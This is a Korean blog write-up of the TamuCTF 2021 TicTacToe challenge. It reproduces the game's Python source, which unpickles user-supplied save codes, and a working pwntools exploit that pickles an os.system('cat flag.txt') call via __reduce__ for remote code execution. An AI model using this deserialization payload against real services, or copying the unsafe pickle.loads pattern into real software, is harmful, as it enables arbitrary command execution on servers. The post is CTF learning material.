이번에 풀이할 문제는 TamuCTF의 TicTacToe 문제다. 문제 문구를 보니 tic tac toe 게임에서 이기면 flag를 주겠다는 것 같다.
이 문제 역시 tictactoe 파일 하나만 주어진다.
다른 문제들과 마찬가지로 실행을 시켜보려했지만 실행이 안된다는 문구가 나왔다.
이상하게 여겨져 hxd로 16진수 값들을 확인해보니
elf 파일이 아닌 python 코드 파일이라는 것을 알 수 있었다.
#!/usr/bin/python
from itertools import product
from random import randint
import sys
from hashlib import sha256
import pickle
import base64
def check_winner(board):
positions_groups = (
[[(x, y) for y in range(3)] for x in range(3)] + # horizontals
[[(x, y) for x in range(3)] for y in range(3)] + # verticals
[[(d, d) for d in range(3)]] + # diagonal from top-left to bottom-right
[[(2-d, d) for d in range(3)]] # diagonal from top-right to bottom-left
)
for pos in positions_groups:
line = [board[a][b] for (a,b) in pos]
if len(set(line)) == 1 and line[0] != "_":
if line[0] == "X":
return "X"
else:
return "O"
return "_"
class Game():
def __init__(self):
self.board = [["_" for a in range(3)] for b in range(3)]
pass
def clear(self):
print("\033c", end="")
def print_board(self):
print(f"╔═══╦═══╦═══╗")
print(f"║ {self.board[0][0]} ║ {self.board[0][1]} ║ {self.board[0][2]} ║")
print(f"╠═══╬═══╬═══╣")
print(f"║ {self.board[1][0]} ║ {self.board[1][1]} ║ {self.board[1][2]} ║")
print(f"╠═══╬═══╬═══╣")
print(f"║ {self.board[2][0]} ║ {self.board[2][1]} ║ {self.board[2][2]} ║")
print(f"╚═══╩═══╩═══╝")
def check_winner(self):
winner = check_winner(self.board)
if winner == "X":
return (False, winner)
elif winner == "O":
print("The computer won :(")
return (False, winner)
if all(self.board[a][b] != "_" for a, b in product(range(3),repeat=2)):
print("No moves left...")
return (False, "_")
return (True, "_")
def play_game():
game = Game()
def player_turn():
game.clear()
game.print_board()
print("Enter move (0-indexed, row col): ")
while True:
loc = input("> ").split(" ")
if len(loc) != 2:
print("invalid format")
continue
try:
row, col = (int(loc[0]), int(loc[1]))
if col > 2 or row > 2:
print("move out of bounds")
continue
if game.board[row][col] != "_":
print("that space is already full!")
continue
game.board[row][col] = "X"
break
except ValueError:
print("invalid integer literal")
continue
game.clear()
game.print_board()
cont, winner = game.check_winner()
return cont
def ai_turn():
cont, winner = game.check_winner()
while True:
row, col = (randint(0,2), randint(0,2))
if game.board[row][col] == "_":
break
game.board[row][col] = "O"
cont, winner = game.check_winner()
return cont
while player_turn() and ai_turn():
pass
return "X" == check_winner(game.board)
TARGET_NO = 133713371337
wins = 0
f = open("flag.txt","r")
flag = f.read()
f.close()
def menu():
print(f"Welcome to my new game! I bet you can't beat me {TARGET_NO} times!! You've won {wins} times. ")
print("1. Play game")
print("2. Redeem prize")
print("3. Save progress")
print("4. Load progress")
print("5. Check stats")
def get_hash(w):
m = sha256()
m.update((str(wins) + flag).encode())
return base64.b64encode(m.digest()).decode()
menu()
while True:
selection = input("> ")
if selection == "1":
if play_game():
wins += 1
menu()
elif selection == "2":
if wins >= TARGET_NO:
print(f"Great job! You definitely deserve this: {flag}")
f.close()
sys.exit()
else:
print(f"You don't have enough wins... you need {TARGET_NO-wins} more")
pass
elif selection == "3":
data = {"wins": wins, "security": get_hash(wins)}
print(f"Here you go! Come back and try again! \"{base64.b64encode(pickle.dumps(data)).decode()}\"")
pass
elif selection == "4":
save = input("What was the code I gave you last time? ")
data = pickle.loads(base64.b64decode(save))
if get_hash(data['wins']) != data['security']:
print("Hey, the secret code I left isn't correct. You aren't trying to cheat are you :/")
continue
else:
wins = data['wins']
print(f"Okay, that all checks out! I'll mark you down as {wins} wins")
pass
elif selection == "5":
print(f"You've won {wins} times, so you need {TARGET_NO-wins} more")
else:
print("That doesn't look like an option...")
continue
코드는 위와 같다.
tic tae toc이라는 3목과 비슷한 게임을 진행하는데 133713371337번을 이겨야된다는 것을 알 수 있다.(근데 133713371337번을 이겼을 때 flag를 얻을 수도 없다.)
133713371337번 이기는 것은 불가능하고 133713371337번을 이겼을 때 처리되는 로직도 존재하지 않으므로 취약점을 찾아서 flag를 읽는 수 밖에 없다.
일단 실행 화면을 보고 싶어서 서버에 접속해 tic tae toc 게임을 해봤다. ai 난이도가 쉽기 때문에 이기는 것은 쉽지만 133713371337번 이기는 것은 불가능하고 애초에 이겨도 flag를 얻지는 못하므로 취약점을 통해 공격해야겠다.
사실 python 취약점하면 맨 먼저 떠오르는게 pickle 모듈의 load 취약점이다. 전에 호기심으로 python 취약점을 찾아볼 때 발견했던 취약점인데 마침 tictaetoc 파이썬 코드에도 pickle 모듈을 로드하고 load 함수를 사용한다.
이 pickle.load의 취약점을 간단히 설명하자면 pickle된 데이터를 load 함수를 통해 unpickle해주는 과정에서 시스템 명령어가 존재한다면 시스템 명령어를 그대로 실행 해준다는 것이다.
따라서 cat flag.txt라는 시스템 명령어를 pickle 시켜 입력 값으로 전달한다면 flag를 얻을 수 있을 것이다. 여기서 주의할 점이 입력 값을 base64 decode 과정을 거친 후 loads 하기 때문에 pickle 시킨 값을 base64로 encode 해준 후 전송해야한다.
from pwn import *
import pickle
import base64
class pickleExploit(object): # __reduce__ 메서드를 사용하기 위해 class 생성
def __reduce__(self):
return (os.system,(('cat flag.txt'),))
p = remote("localhost", 4444) # 서버 접속
p.recvuntil(">") # >(선택지)가 나올 때까지 대기
p.sendline("4") # >가 나왔다면 4를 입력
sleep(1) # 1초간 멈춤
payload = pickle.dumps(pickleExploit())
# 위에 생성한 class의 __reduce__를 호출하고 리턴된 cat flag.txt 명령어를 pickle 과정을 거침
p.sendline(base64.b64encode(payload)) # 만들어진 payload를 base64로 encode 시킨 후 전송
p.interactive()
cat flag.txt 쉘 명령어를 pickle로 만드려면 dumps 함수를 사용해야하는데, 이 dumps 함수는 class의 __reduce__ 메서드의 반환 값을 인자로 받으므로 pickleExploit라는 class를 생성해준 후 __reduce__ 메서드를 작성해 반환 값을 시스템 명령어 cat flag.txt로 해줬다.
그 후 만들어진 pickle payload를 base64로 암호화해 전송해준다.
'CTF' 카테고리의 다른 글
[DawgCTF 2021] Misc - DawgCTF Discord (0) | 2021.05.08 |
---|---|
TamuCTF 2021 후기 (0) | 2021.04.25 |
TamuCTF 2021 - Pancake (0) | 2021.04.25 |
TamuCTF 2021 - Handshake (0) | 2021.04.25 |
PlaidCTF - Plaidflix (0) | 2021.04.20 |